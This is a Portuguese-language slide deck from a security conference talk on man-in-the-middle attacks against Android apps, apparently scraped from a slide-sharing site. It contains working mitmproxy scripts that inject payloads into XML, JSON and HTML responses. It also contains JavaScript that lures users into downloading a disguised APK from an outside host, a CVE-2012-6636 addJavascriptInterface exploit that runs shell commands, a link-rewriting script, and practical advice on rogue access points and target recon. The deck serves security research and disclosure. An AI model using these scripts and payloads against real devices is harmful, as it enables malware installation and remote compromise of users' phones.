Ataques MITM a aplicativos android: abusando da confiança dos desenvolvedores

Security BSides São Paulo ed naovaitercopa
Ataques MITM a Aplicativos Android
Abusando da confiança dos desenvolvedores
Ivan Joker Jeukens
ivanjokerbr@gmail.com

Menu
● Conclusões
● Motivação
● Setup operacional
● Injetando
● Payload 1
● Payload 2
● Payload 3
● Praticidade

Conclusões
Nenhum aplicativo* valida seus dados
transmitidos
Só o https enche o saco

Motivação
● Nasceu de web app pentest
● Muitos aplicativos são navegadores modificados e/ou
incrementados (WebView, ChromeWebView, etc)
● Vantagem
– Temos o código do cliente, além das responstas do
server!
– Ofuscação .. uhh?!
● Idéia inicial
– Capturar na direção aplicativo → servidor
● Perigo
– Ataques direcionados

Setup operacional
● Android SDK
– AVD Android 4.0.3 CPU/ABI Intel Atom
● mitmproxy.org
– Scripts em python para manipular requests e responses
● code.google.com/p/android-apktool/
– descompactar e produzir os .smali
● github.com/egirault/googleplay-api.git
– scripts para baixar aplicativos do play
● mitm na real
– iptables e airbase-ng

Injetando
def response(ctx, flow):
if flow.response.content != None and isXml(flow.response.headers['Content-Type']):
etype = flow.response.headers['Content-Encoding'];
flow.response.decode()
root = etree.XML(flow.response.content, parser)
processXML(root)
flow.response.content = etree.tostring(root, encoding='UTF-8')
flow.response.headers['Content-Encoding'] = etype;
if 'gzip' in etype:
flow.response.encode('gzip')
elif flow.response.content != None and (isJson(flow.response.headers['Content-Type']) or
isJavascript(flow.response.headers['Content-Type']) ):
….
elif flow.response.content != None and isHtmlText( flow.response.headers['Content-Type'] ):
….

Injetando
def processXML(data, log):
for child in data.iter():
if child != None:
if child.tag != None and isinstance(child.tag, basestring):
if len(child) == 0:
if child.text != None:
if scanForHtmlTag(child.text):
child.text = payload
payload = '<img width="30" height="43" title="" alt="" src="data:image/png;base64,.....
● XML

Injetando
def processJson(data):
if type(data) is list:
for m in data:
processJson(m)
elif type(data) is dict:
for key in data:
if isinstance(data[key], unicode):
if scanForHtmlTag(data[key]):
data[key] = data[key] + payload
else:
processJson(data[key])
else:
return
● JSON

Injetando
htmldata = BeautifulSoup(flow.response.content)
body = htmldata.body
body.append(payload)
● HTML

Payload 1
● Engenharia Social
● Aplicativo da Veja

Payload1
.class public Lcom/matera/veja/ui/StoryDetail;
….
.method private createWebView()V
….

Payload 1
● Uma imagem bonita …
– “seu aplicativo está desatualizado e em risco”
● Um pouco de javascript
<script>
function fase2() {
var img = document.getElementById("chupacabra");
img.src = "data:image/gif;base64....."; /* thanks */
}
function goDown() {
window.location.href = "http://joker.com/com.matera.veja.apk";
setTimeout( fase2, 3000 );
}
</script>
<img id="chupacabra" onclick="goDown()" width="212" height="50" title="" alt=""
src="data:image/gif;base64.... />

Payload 2
● CVE-2012-6636
– The Android API before 17 does not properly restrict the
WebView.addJavascriptInterface method
● Afeta android < 4.2 … em teoria
– Alguns 2.3.X não funciona
– Alguns 3.X não funciona 100%
● Around 70% of all Android devices in the field are subject to a
Javascript exploit that could allow an attacker remote access to your
phone by doing nothing more than surfing to a malicious page or
scanning in a malicious QR Code.
– Bibliotecas de propaganda

Payload 2
● Problemas na ponte javascript → java
– addJavascriptInterface( )
<script>
function execute(args) {
return window.Attack.getClass().forName('java.lang.Runtime').getMethod('getRuntime',
null).invoke(null,null).exec(args);
}
</script>
</head>
<body>
<script>
execute(['/system/bin/sh','-c','echo -n "JOKER" > /data/data/test.webview/pwnd.txt']);
</script>
WebSettings webSettings = browser.getSettings();
webSettings.setJavaScriptEnabled(true);
browser.addJavascriptInterface(new JsInvokeClass(), "Attack");

Payload 2
● Android > 4.2
– obriga @JavascriptInterface method wise
● Estatísticas
● googleplay-api
– script para baixar os 100 mais populares aplicativos
gratuítos de todas as classes
2379 Apps baixados
922 tem addJavascript Interface
339 (14%) não tem anotação @JavascriptInterface

Payload 2
.class public Lbr/com/gabba/Caixa/CaixaWebViewActivity;
.super Landroid/app/Activity;
….
const-string v7, "Android"
invoke-virtual {v5, v6, v7},
Landroid/webkit/WebView;->addJavascriptInterface(Ljava/lang/Object;Ljava/lang/String;)V
….
const-string v7, "HTMLOUT"
invoke-virtual {v5, v6, v7},
Landroid/webkit/WebView;->addJavascriptInterface(Ljava/lang/Object;Ljava/lang/String;)V

Payload 3
● Link changer
def processJson(data):
if type(data) is list:
for m in data:
processJson(m)
elif type(data) is dict:
for key in data:
if isinstance(data[key], unicode):
if scanForHtmlTag(data[key]):
data[key] = data[key] + payload
elif "http://" in data[key]:
data[key] = "http://www.joker.com.br"
else:
processJson(data[key])

Praticidade
● Precisa:
– estar perto do alvo (wifi range)
– ter sorte de achar algum probe dele ou ele gostar do seu AP
– Ter uma DB de aplicativos vulneráveis e escanear os
requests atrás de um....
– ...ou...
– Ser dedicado e fazer um recon do alvo antes, ir para o lab, e
voltar com os apps que são vulneráveis
– Pegar o momento do request

Ataques MITM a aplicativos android: abusando da confiança dos desenvolvedores

Recomendados

Recomendados

Mais conteúdo relacionado

Semelhante a Ataques MITM a aplicativos android: abusando da confiança dos desenvolvedores

Semelhante a Ataques MITM a aplicativos android: abusando da confiança dos desenvolvedores (20)

Ataques MITM a aplicativos android: abusando da confiança dos desenvolvedores